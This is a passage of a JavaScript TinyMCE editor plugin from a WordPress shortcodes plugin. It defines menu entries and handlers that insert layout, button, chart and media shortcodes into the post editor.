jQuery("#previewDiv").empty().html('<div class="loading">&nbsp;</div>') }, success: function(response) { jQuery("#previewDiv").empty().html(response); } }); } else { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, what); } } }, validate: function() { ret = true; jQuery('.req').each(function() { if(jQuery(this).find('input').val() == '') { ret = false; jQuery(this).find('input').addClass('errorInput'); } else { jQuery(this).find('input').removeClass('errorInput'); } if(jQuery(this).find('textarea').val() == '') { ret = false; jQuery(this).find('textarea').addClass('errorInput'); } else { jQuery(this).find('textarea').removeClass('errorInput'); } }); return ret; }, readMore: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=readMore&preview'); what = 'st_button_more'; }, breakLine: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_break_line]"); }, horizontalLine: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_horizontal_line]"); }, divClear: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_clear]"); }, createDividerDotted: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_dotted]"); }, createDividerDashed: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_dashed]"); }, createDividerTop: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_top]"); }, createDividerShadow: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_divider_shadow]"); }, insertButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertButton&preview'); what = 'st_button'; }, insertHoverFillButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverFillButton&preview'); what = 'st_hover_fill_button'; }, insertHoverFancyIconButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverFancyIconButton&preview'); what = 'st_hover_fancy_icon_button'; }, insertHoverArrowsButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverArrowsButton&preview'); what = 'st_hover_arrows_button'; }, insertHoverIconOnHoverButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverIconOnHoverButton&preview'); what = 'st_hover_icon_button'; }, insertHoverBorderedButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertHoverBorderedButton&preview'); what = 'st_hover_bordered_button'; }, insertBox: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertBox&preview'); what = 'st_box'; }, dividerText: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=dividerText&preview'); what = 'st_divider_text'; }, eventCountdown: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=eventCountdown'); what = 'st_countdown'; }, createTestimonials: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=testimonials'); what = 'st_testimonials'; }, insertCallout: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertCallout&preview'); what = 'st_callout'; }, insertTooltip: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertTooltip&preview=remove'); what = 'st_tooltip'; }, insertPopover: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertPopover&preview=remove'); what = 'st_popover'; }, insertModal: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=insertModal&preview=remove'); what = 'st_modal'; }, createTabs: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createTabs&preview=remove'); what = 'st_tabs'; }, createUnorderedList: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createUnorderedList&preview'); what = 'st_unordered'; }, createOrderedList: function() { var content = (tinyMCE.activeEditor.selection.getContent() != '') ? tinyMCE.activeEditor.selection.getContent() : '<ol><li>First list item</li></ol>'; tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_ordered]"+ content +"[/st_ordered]"); }, createToggle: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=toggle&preview'); what = 'st_toggle'; }, createAccordion: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createAccordion&preview'); what = 'st_accordion'; }, createProgressBar: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=progress_bar&preview'); what = 'st_progress_bar'; }, createTables: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=createTable&preview'); what = 'st_tables'; }, relatedPosts: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=related&preview=remove'); what = 'st_related_posts'; }, logInOut: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=logInOut&preview'); what = 'st_loginout'; }, dropCap: function(type) { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_dropcap type='"+type+"']"+ tinyMCE.activeEditor.selection.getContent() +"[/st_dropcap]"); }, highlight: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=highlight&preview'); what = 'st_highlight'; }, labels: function(type) { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_label type='"+type+"']"+ tinyMCE.activeEditor.selection.getContent() +"[/st_label]"); }, quote: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=quote&preview'); what = 'st_quote'; }, abbreviation: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=abbreviation&preview'); what = 'st_abbreviation'; }, createTwitterButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=twitter&preview'); what = 'st_twitter'; }, createDiggButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=digg&preview'); what = 'st_digg'; }, createFBlikeButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fblike&preview'); what = 'st_fblike'; }, createFBShareButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fbshare&preview'); what = 'st_fbshare'; }, createLIShareButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=lishare&preview'); what = 'st_lishare'; }, createGplusButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=gplus&preview'); what = 'st_gplus'; }, createPinButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=pinterest_pin&preview'); what = 'st_pinterest_pin'; }, createTumblrButton: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=tumblr&preview'); what = 'st_tumblr'; }, createSocialIcon: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=social_icon&preview'); what = 'st_social_icon'; }, createPricingTables: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=pricingTable&preview'); what = 'st_pricingTable'; }, createFancyboxImages: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxImages&preview=remove'); what = 'st_fancyboxImages'; }, createFancyboxInline: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxInline&preview=remove'); what = 'st_fancyboxInline'; }, createFancyboxIframe: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxIframe&preview=remove'); what = 'st_fancyboxIframe'; }, createFancyboxPage: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxPage&preview=remove'); what = 'st_fancyboxPage'; }, createFancyboxSwf: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=fancyboxSwf&preview=remove'); what = 'st_fancyboxSwf'; }, createVideo: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=video&preview'); what = 'st_video'; }, createAudio: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=audio&preview'); what = 'st_audio'; }, createSoundcloud: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=soundcloud&preview'); what = 'st_soundcloud'; }, createMixcloud: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=mixcloud&preview'); what = 'st_mixcloud'; }, createSectionImage: function(){ tb_show('', stPluginUrl + '/ajaxPlugin.php?act=section_image&preview=remove'); what = 'st_section_image'; }, createSectionColor: function(){ tb_show('', stPluginUrl + '/ajaxPlugin.php?act=section_color&preview=remove'); what = 'st_section_color'; }, createContainer: function(){ var currentVal = 'Put your content here'; tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_container]"+ currentVal +"[/st_container]"); }, createTextColor: function(){ tb_show('', stPluginUrl + '/ajaxPlugin.php?act=text_color&preview=remove'); what = 'st_text_color'; }, createRow: function(){ var currentVal = 'Put your columns here'; tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_row]"+ currentVal +"[/st_row]"); }, createColumnLayout: function(n) { var col = ''; var values = { 'st_column1': 'st_column1', 'st_column2': 'st_column2', 'st_column3': 'st_column3', 'st_column4': 'st_column4', 'st_column5': 'st_column5', 'st_column6': 'st_column6', 'st_column7': 'st_column7', 'st_column8': 'st_column8', 'st_column9': 'st_column9', 'st_column10': 'st_column10', 'st_column11': 'st_column11', 'st_column12': 'st_column12', } col = values[n]; var currentVal = 'Your content goes here'; tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "["+col+"]"+ currentVal +"[/"+col+"]"); }, createGoogleMaps: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=gmap&preview=remove'); what = 'st_gmap'; }, createGoogleTrends: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=trends&preview=remove'); what = 'st_trends'; }, createChartPie: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_pie&preview=remove'); what = 'st_chart_pie'; }, createChartBar: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_bar&preview=remove'); what = 'st_chart_bar'; }, createChartArea: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_area&preview=remove'); what = 'st_chart_area'; }, createChartGeo: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_geo&preview=remove'); what = 'st_chart_geo'; }, createChartCombo: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_combo&preview=remove'); what = 'st_chart_combo'; }, createChartOrg: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_org&preview=remove'); what = 'st_chart_org'; }, createChartBubble: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=chart_bubble&preview=remove'); what = 'st_chart_bubble'; }, createGoogleDocs: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=gdocs&preview=remove'); what = 'st_gdocs'; }, pageSiblings: function() { tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_siblings]"); }, children: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=children&preview'); what = 'st_children'; }, contactFormDark: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=contact_form_dark&preview'); what = 'st_contact_form_dark'; }, contactFormLight: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=contact_form_light&preview'); what = 'st_contact_form_light'; }, createCarousel: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=posts_carousel&preview=remove'); what = 'st_posts_carousel'; }, createSwiper: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=swiper&preview=remove'); what = 'st_swiper'; }, insertAnimated: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=animated&preview=remove'); what = 'st_animated'; }, insertDrawing: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=svg_drawing&preview=remove'); what = 'st_svg_drawing'; }, createIcon: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=icon&preview'); what = 'st_icon'; }, createIconMelon: function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=melonIcon&preview'); what = 'st_icon_melon'; }, createCode: function() { var currentVal = 'Put your code here'; tinyMCE.activeEditor.execCommand('mceInsertContent', 0, "[st_code]"+ currentVal +"[/st_code]"); } }; var what = ''; jQuery('#insert').live('click', function(e) { preview = false; e.preventDefault(); themeShortcuts.insert(what); tb_remove(); return false; }); jQuery('#preview').live('click', function(e) { preview = true; e.preventDefault(); themeShortcuts.insert(what); return false; }); jQuery('#SupremeSocialTheme_preview input').live('blur', function() { preview = true; setTimeout(function() { themeShortcuts.insert(what); }, 300); }); jQuery('#SupremeSocialTheme_preview select').live('change', function() { preview = true; setTimeout(function() { themeShortcuts.insert(what); }, 300); }); jQuery('#cancel').live('click', function(e) { tb_remove(); return false; }); /////////////////////////////////////// // CHECK THE VERSION OF TINYMCE !! /////////////////////////////////////// if (tinymce.majorVersion < 4) { ////////////////////////////// // IF IS TINYMCE VERSION 3 ////////////////////////////// tinymce.create('tinymce.plugins.themeShortcuts', { init: function(ed, url) { }, createControl: function(n, cm) { switch (n) { case 'themeShortcuts': var c = cm.createSplitButton('themeShortcuts', { title : 'Theme shortcuts', image : stPluginUrl + '/images/supremetheme-logo-19x19.png', onclick : function() { c.showMenu(); } }); c.onRenderMenu.add(function(c,m) { e = m.addMenu({title : 'Lines'}); e.add({title : 'Break Line', onclick : themeShortcuts.breakLine}); e.add({title : 'Horizontal Line', onclick : themeShortcuts.horizontalLine}); e.add({title : 'Clear', onclick : themeShortcuts.divClear}); var ea = e.addMenu({title : 'Dividers'}); ea.add({title : 'Dotted', onclick : themeShortcuts.createDividerDotted}); ea.add({title : 'Dashed', onclick : themeShortcuts.createDividerDashed}); ea.add({title : 'To Top', onclick : themeShortcuts.createDividerTop}); ea.add({title : 'Shadow', onclick : themeShortcuts.createDividerShadow}); ea.add({title : 'Text', onclick : themeShortcuts.dividerText}); b = m.addMenu({title : 'Buttons'}); b.add({title : 'Button', onclick : function() { themeShortcuts.insertButton() }}); var ba = b.addMenu({title : 'Hover Buttons'}); ba.add({title: 'Fill In', onclick : themeShortcuts.insertHoverFillButton}); ba.add({title: 'Fancy Icon', onclick : themeShortcuts.insertHoverFancyIconButton}); ba.add({title: 'Arrows', onclick : themeShortcuts.insertHoverArrowsButton}); ba.add({title: 'Icon on hover', onclick : themeShortcuts.insertHoverIconOnHoverButton}); ba.add({title: 'Bordered', onclick : themeShortcuts.insertHoverBorderedButton}); b.add({title : 'Read More', onclick : themeShortcuts.readMore}); var be = b.addMenu({title : 'Share Buttons'}); be.add({title: 'Twitter', onclick : themeShortcuts.createTwitterButton}); be.add({title: 'Digg', onclick : themeShortcuts.createDiggButton}); be.add({title: 'Facebook Like', onclick : themeShortcuts.createFBlikeButton}); be.add({title: 'Facebook Share', onclick : themeShortcuts.createFBShareButton}); be.add({title: 'LinkedIn', onclick : themeShortcuts.createLIShareButton}); be.add({title: 'Google+', onclick : themeShortcuts.createGplusButton}); be.add({title: 'Pinterest', onclick : themeShortcuts.createPinButton}); be.add({title: 'Tumbler', onclick : themeShortcuts.createTumblrButton}); b.add({title : 'Log in / out button', onclick : themeShortcuts.logInOut}); i = m.addMenu({title : 'Boxes'}); i.add({title : 'Box', onclick : themeShortcuts.insertBox}); i.add({title : 'Callout', onclick : themeShortcuts.insertCallout}); p = m.addMenu({title : 'Icons'}); p.add({title : 'Font Awesome', onclick : themeShortcuts.createIcon}); p.add({title : 'Icon Melon', onclick : themeShortcuts.createIconMelon}); p.add({title : 'Social Icons', onclick : themeShortcuts.createSocialIcon}); m.add({title : 'Animated', onclick : themeShortcuts.insertAnimated}); m.add({title : 'SVG Drawing', onclick : themeShortcuts.insertDrawing}); s = m.addMenu({title : 'Elements'}); s.add({title : 'Tooltip', onclick : themeShortcuts.insertTooltip}); s.add({title : 'Popover', onclick : themeShortcuts.insertPopover}); s.add({title : 'Modal', onclick : themeShortcuts.insertModal}); s.add({title : 'Tabs', onclick : themeShortcuts.createTabs}); s.add({title : 'Toggle', onclick : themeShortcuts.createToggle}); s.add({title : 'Accordion', onclick : themeShortcuts.createAccordion}); s.add({title : 'Progress Bar', onclick : themeShortcuts.createProgressBar}); r = m.addMenu({title : 'Section'}); r.add({title : 'Image', onclick : themeShortcuts.createSectionImage}); r.add({title : 'Color', onclick : themeShortcuts.createSectionColor}); m.add({title : 'Container', onclick : themeShortcuts.createContainer}); h = m.addMenu({title : 'Responsive'}); h.add({title : 'Row', onclick : themeShortcuts.createRow}); h.add({title: '1 column', onclick : function() { themeShortcuts.createColumnLayout('st_column1') }}); h.add({title: '2 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column2') }}); h.add({title: '3 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column3') }}); h.add({title: '4 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column4') }}); h.add({title: '5 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column5') }}); h.add({title: '6 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column6') }}); h.add({title: '7 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column7') }}); h.add({title: '8 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column8') }}); h.add({title: '9 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column9') }}); h.add({title: '10 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column10') }}); h.add({title: '11 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column11') }}); h.add({title: '12 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column12') }}); d = m.addMenu({title : 'Google'}); d.add({title : 'Google Maps', onclick : themeShortcuts.createGoogleMaps}); d.add({title : 'Google Trends', onclick : themeShortcuts.createGoogleTrends}); d.add({title : 'Google Docs', onclick : themeShortcuts.createGoogleDocs}); var da = d.addMenu({title : 'Google Charts'}); da.add({title : 'Pie', onclick : themeShortcuts.createChartPie}); da.add({title : 'Bar', onclick : themeShortcuts.createChartBar}); da.add({title : 'Area', onclick : themeShortcuts.createChartArea}); da.add({title : 'Geo', onclick : themeShortcuts.createChartGeo}); da.add({title : 'Combo', onclick : themeShortcuts.createChartCombo}); da.add({title : 'Org', onclick : themeShortcuts.createChartOrg}); da.add({title : 'Bubble', onclick : themeShortcuts.createChartBubble}); f = m.addMenu({title: 'Lists'}); f.add({title : 'Unordered list', onclick : themeShortcuts.createUnorderedList}); f.add({title : 'Ordered list', onclick : themeShortcuts.createOrderedList}); o = m.addMenu({title: 'Tables'}); o.add({title : 'Styled table', onclick : themeShortcuts.createTables}); o.add({title : 'Pricing table', onclick : themeShortcuts.createPricingTables}); l = m.addMenu({title : 'Media'}); l.add({title : 'Video', onclick : themeShortcuts.createVideo}); var la = l.addMenu({title : 'Audio'}); la.add({title : 'Soundcloud', onclick : themeShortcuts.createSoundcloud}); la.add({title : 'Mixcloud', onclick : themeShortcuts.createMixcloud}); la.add({title : 'Other', onclick : themeShortcuts.createAudio}); d = m.addMenu({title: 'Typography'}); var dc = d.addMenu({title : 'Dropcap'}); dc.add({title : 'Light', onclick : function() { themeShortcuts.dropCap('light') }}); dc.add({title : 'Light Circled', onclick : function() {themeShortcuts.dropCap('light_circled')}}); dc.add({title : 'Dark', onclick : function() {themeShortcuts.dropCap('dark')}}); dc.add({title : 'Dark Circled', onclick : function() {themeShortcuts.dropCap('dark_circled')}}); d.add({title : 'Quote', onclick : themeShortcuts.quote}); d.add({title : 'Highlight', onclick : themeShortcuts.highlight}); var df = d.addMenu({title: 'Label'}); df.add({title : 'Default', onclick : function() { themeShortcuts.labels('default') }}); df.add({title : 'New', onclick : function() {themeShortcuts.labels('success')}}); df.add({title : 'Warning', onclick : function() {themeShortcuts.labels('warning')}}); df.add({title : 'Important', onclick : function() {themeShortcuts.labels('important')}}); df.add({title : 'Notice', onclick : function() {themeShortcuts.labels('notice')}}); d.add({title : 'Colored Text', onclick : themeShortcuts.createTextColor}); d.add({title : 'Abbreviation', onclick : themeShortcuts.abbreviation}); p = m.addMenu({title : 'Related'}); p.add({title : 'Related posts', onclick : themeShortcuts.relatedPosts}); p.add({title : 'Siblings', onclick : themeShortcuts.pageSiblings}); p.add({title : 'Children', onclick : themeShortcuts.children}); k = m.addMenu({title : 'Fancybox'}); k.add({title : 'Images', onclick : themeShortcuts.createFancyboxImages}); k.add({title : 'Inline', onclick : themeShortcuts.createFancyboxInline}); k.add({title : 'iFrame', onclick : themeShortcuts.createFancyboxIframe}); k.add({title : 'Page', onclick : themeShortcuts.createFancyboxPage}); k.add({title : 'Swf', onclick : themeShortcuts.createFancyboxSwf}); j = m.addMenu({title : 'Contact form'}); j.add({title : 'Light', onclick : themeShortcuts.contactFormLight}); j.add({title : 'Dark', onclick : themeShortcuts.contactFormDark}); t = m.addMenu({title : 'Carousel'}); t.add({title : 'Post Carousel', onclick : themeShortcuts.createCarousel}); t.add({title : 'Swiper', onclick : themeShortcuts.createSwiper}); //t.add({title : 'Testimonial', onclick : themeShortcuts.createTestimonials}); //m.add({title : 'Countdown', onclick : themeShortcuts.eventCountdown}); m.add({title : 'Code', onclick : themeShortcuts.createCode}); }); return c; } return null; }, }); }else{ ////////////////////////////// // IF IS TINYMCE VERSION 4+ ////////////////////////////// tinymce.create('tinymce.plugins.themeShortcuts', { init : function(ed, url) { ed.addButton( 'themeShortcuts', { type: 'listbox', text: 'Supreme', icon: 'supreme', classes: 'mce-btn supreme-class', tooltip: 'Supreme Shortcodes', onselect: function(e) { }, values: [ { type: 'listbox', text: 'Lines', icon: false, classes: 'has-dropdown', values: [ { text: 'Break Line', onclick : themeShortcuts.breakLine}, { text: 'Horizontal Line', onclick : themeShortcuts.horizontalLine}, { text: 'Clear', onclick : themeShortcuts.divClear}, { type: 'listbox', text: 'Dividers', icon: false, classes: 'has-dropdown', values: [ { text: 'Dotted', onclick : function() { tinymce.execCommand('mceInsertContent', false, '[st_divider_dotted]'); }}, { text: 'Dashed', onclick : function() { tinymce.execCommand('mceInsertContent', false, '[st_divider_dashed]'); }}, { text: 'To Top', onclick : function() { tinymce.execCommand('mceInsertContent', false, '[st_divider_top]'); }}, { text: 'Shadow', onclick : function() { tinymce.execCommand('mceInsertContent', false, '[st_divider_shadow]'); }}, {text: 'Text', onclick : function() { tb_show('', stPluginUrl + '/ajaxPlugin.php?act=dividerText&preview'); what = 'st_divider_text'; }}, ] }, ] }, { type: 'listbox', text: 'Buttons', icon: false, classes: 'has-dropdown', values: [ {text: 'Button', onclick : function() { themeShortcuts.insertButton() }}, { type: 'listbox', text: 'Hover Button', icon: false, classes: 'has-dropdown', values: [ {text: 'Fill In', onclick : function() { themeShortcuts.insertHoverFillButton() }}, {text: 'Fancy Icon', onclick : function() { themeShortcuts.insertHoverFancyIconButton() }}, {text: 'Arrows', onclick : function() { themeShortcuts.insertHoverArrowsButton() }}, {text: 'Icon on hover', onclick : function() { themeShortcuts.insertHoverIconOnHoverButton() }}, {text: 'Bordered', onclick : function() { themeShortcuts.insertHoverBorderedButton() }}, ] }, {text: 'Read more', onclick : themeShortcuts.readMore}, { type: 'listbox', text: 'Share buttons', icon: false, classes: 'has-dropdown', values: [ { text: 'Twitter', onclick : themeShortcuts.createTwitterButton}, { text: 'Digg', onclick : themeShortcuts.createDiggButton}, { text: 'Facebook Like', onclick : themeShortcuts.createFBlikeButton}, { text: 'Facebook Share', onclick : themeShortcuts.createFBShareButton}, { text: 'LinkedIn', onclick : themeShortcuts.createLIShareButton}, { text: 'Google+', onclick : themeShortcuts.createGplusButton}, { text: 'Pinterest', onclick : themeShortcuts.createPinButton}, { text: 'Tumbler', onclick : themeShortcuts.createTumblrButton}, ] }, {text: 'Log in / out button', onclick : themeShortcuts.logInOut}, ] }, { type: 'listbox', text: 'Boxes', icon: false, classes: 'has-dropdown', values: [ {text: 'Info Box', onclick : themeShortcuts.insertBox}, {text: 'Callout', onclick : themeShortcuts.insertCallout}, ] }, { type: 'listbox', text: 'Icons', icon: false, classes: 'has-dropdown', values: [ {text: 'Font Awesome', onclick : themeShortcuts.createIcon}, {text: 'Icon Melon', onclick : themeShortcuts.createIconMelon}, {text: 'Social Icons', onclick : themeShortcuts.createSocialIcon}, ] }, {classes: 'no-dropdown', text: 'Animated', onclick : themeShortcuts.insertAnimated}, {classes: 'no-dropdown', text: 'SVG Drawing', onclick : themeShortcuts.insertDrawing}, { type: 'listbox', text: 'Elements', icon: false, classes: 'has-dropdown', values: [ {text: 'Tooltip', onclick : themeShortcuts.insertTooltip}, {text: 'Popover', onclick : themeShortcuts.insertPopover}, {text: 'Modal', onclick : themeShortcuts.insertModal}, {text: 'Tabs', onclick : themeShortcuts.createTabs}, {text: 'Toggle', onclick : themeShortcuts.createToggle}, {text: 'Accordion', onclick : themeShortcuts.createAccordion}, {text: 'Progress Bar', onclick : themeShortcuts.createProgressBar}, ] }, { type: 'listbox', text: 'Section', icon: false, classes: 'has-dropdown', values: [ {text: 'Image', onclick : themeShortcuts.createSectionImage}, {text: 'Color', onclick : themeShortcuts.createSectionColor}, ] }, {classes: 'no-dropdown', text: 'Container', onclick : themeShortcuts.createContainer}, { type: 'listbox', text: 'Responsive', icon: false, classes: 'has-dropdown', values: [ {text: 'Row', onclick : themeShortcuts.createRow}, {text: '1 column', onclick : function() { themeShortcuts.createColumnLayout('st_column1') }}, {text: '2 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column2') }}, {text: '3 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column3') }}, {text: '4 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column4') }}, {text: '5 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column5') }}, {text: '6 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column6') }}, {text: '7 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column7') }}, {text: '8 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column8') }}, {text: '9 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column9') }}, {text: '10 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column10') }}, {text: '11 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column11') }}, {text: '12 columns', onclick : function() { themeShortcuts.createColumnLayout('st_column12') }}, ] }, { type: 'listbox', text: 'Google', icon: false, classes: 'has-dropdown', values: [ {text: 'Google Maps', onclick : themeShortcuts.createGoogleMaps}, {text: 'Google Trends', onclick : themeShortcuts.createGoogleTrends}, {text: 'Google Docs', onclick : themeShortcuts.createGoogleDocs}, { type: 'listbox', text: 'Google Charts', icon: false, classes: 'has-dropdown', values: [ {text: 'Pie', onclick : themeShortcuts.createChartPie}, {text: 'Bar', onclick : themeShortcuts.createChartBar}, {text: 'Area', onclick : themeShortcuts.createChartArea}, {text: 'Geo', onclick : themeShortcuts.createChartGeo}, {text: 'Combo', onclick : themeShortcuts.createChartCombo}, {text: 'Org', onclick : themeShortcuts.createChartOrg}, {text: 'Bubble', onclick : themeShortcuts.createChartBubble}, ] }, ] }, { type: 'listbox', text: 'Lists', icon: false, classes: 'has-dropdown', values: [ {text: 'Unordered list', onclick : themeShortcuts.createUnorderedList}, {text: 'Ordered list', onclick : themeShortcuts.createOrderedList}, ] }, { type: 'listbox', text: 'Tables', icon: false, classes: 'has-dropdown', values: [ {text: 'Styled table', onclick : themeShortcuts.createTables}, {text: 'Pricing table', onclick : themeShortcuts.createPricingTables}, ] }, { type: 'listbox', text: 'Media', icon: false, classes: 'has-dropdown', values: [ {text: 'Video', onclick : themeShortcuts.createVideo}, { type: 'listbox', text: 'Audio', icon: false, classes: 'has-dropdown', values: [ {text: 'Soundcloud', onclick : themeShortcuts.createSoundcloud}, {text: 'Mixcloud', onclick : themeShortcuts.createMixcloud}, {text: 'Other', onclick : themeShortcuts.createAudio}, ] }, ] }, { type: 'listbox', text: 'Typography', icon: false, classes: 'has-dropdown', values: [ { type: 'listbox', text: 'Dropcap', icon: false, values: [ {text: 'Light', onclick : function() {themeShortcuts.dropCap('light')}}, {text: 'Light Circled', onclick : function() {themeShortcuts.dropCap('light_circled')}}, {text: 'Dark', onclick : function() {themeShortcuts.dropCap('dark')}}, {text: 'Dark Circled', onclick : function() {themeShortcuts.dropCap('dark_circled')}}, ] }, {text: 'Quote', onclick : themeShortcuts.quote}, {text: 'Highlight', onclick : themeShortcuts.highlight}, { type: 'listbox', text: 'Label', icon: false, classes: 'has-dropdown', values: [ {text: 'Default', onclick : function() { themeShortcuts.labels('default') }}, {text: 'New', onclick : function() { themeShortcuts.labels('success') }}, {text: 'Warning', onclick : function() { themeShortcuts.labels('warning') }}, {text: 'Important', onclick : function() { themeShortcuts.labels('important') }}, {text: 'Notice', onclick : function() { themeShortcuts.labels('notice') }}, ] }, {text: 'Colored Text', onclick : themeShortcuts.createTextColor}, {text: 'Abbreviation', onclick : themeShortcuts.abbreviation}, ] }, { type: 'listbox', text: 'Related', icon: false, classes: 'has-dropdown', values: [ {text: 'Related posts', onclick : themeShortcuts.relatedPosts}, {text: 'Siblings', onclick : themeShortcuts.pageSiblings}, {text: 'Children', onclick : themeShortcuts.children}, ] }, { type: 'listbox', text: 'Fancybox', icon: false, classes: 'has-dropdown', values: [ {text: 'Images', onclick : themeShortcuts.createFancyboxImages}, {text: 'Inline', onclick : themeShortcuts.createFancyboxInline}, {text: 'iFrame', onclick : themeShortcuts.createFancyboxIframe}, {text: 'Page', onclick : themeShortcuts.createFancyboxPage}, {text: 'Swf', onclick : themeShortcuts.createFancyboxSwf}, ] }, { type: 'listbox', text: 'Contact form', icon: false, classes: 'has-dropdown', values: [ {text: 'Light', onclick : themeShortcuts.contactFormLight}, {text: 'Dark', onclick : themeShortcuts.contactFormDark}, ] }, { type: 'listbox', text: 'Carousel', icon: false, classes: 'has-dropdown', values: [ {text: 'Post Carousel', onclick : themeShortcuts.createCarousel}, {text: 'Swiper', onclick : themeShortcuts.createSwiper}, //{text: 'Testimonial', onclick : themeShortcuts.createTestimonials}, ] }, //{classes: 'no-dropdown', text: 'Countdown', onclick : themeShortcuts.eventCountdown}, {classes: 'no-dropdown', text: 'Code', onclick : themeShortcuts.createCode}, ] }); }, }); };//end else tinymce.PluginManager.add('themeShortcuts', tinymce.plugins.themeShortcuts); })()
vinciteng/bookitforward
wp-content/plugins/SupremeShortcodes/js/editor_plugin.js
JavaScript
gpl-2.0
66,280
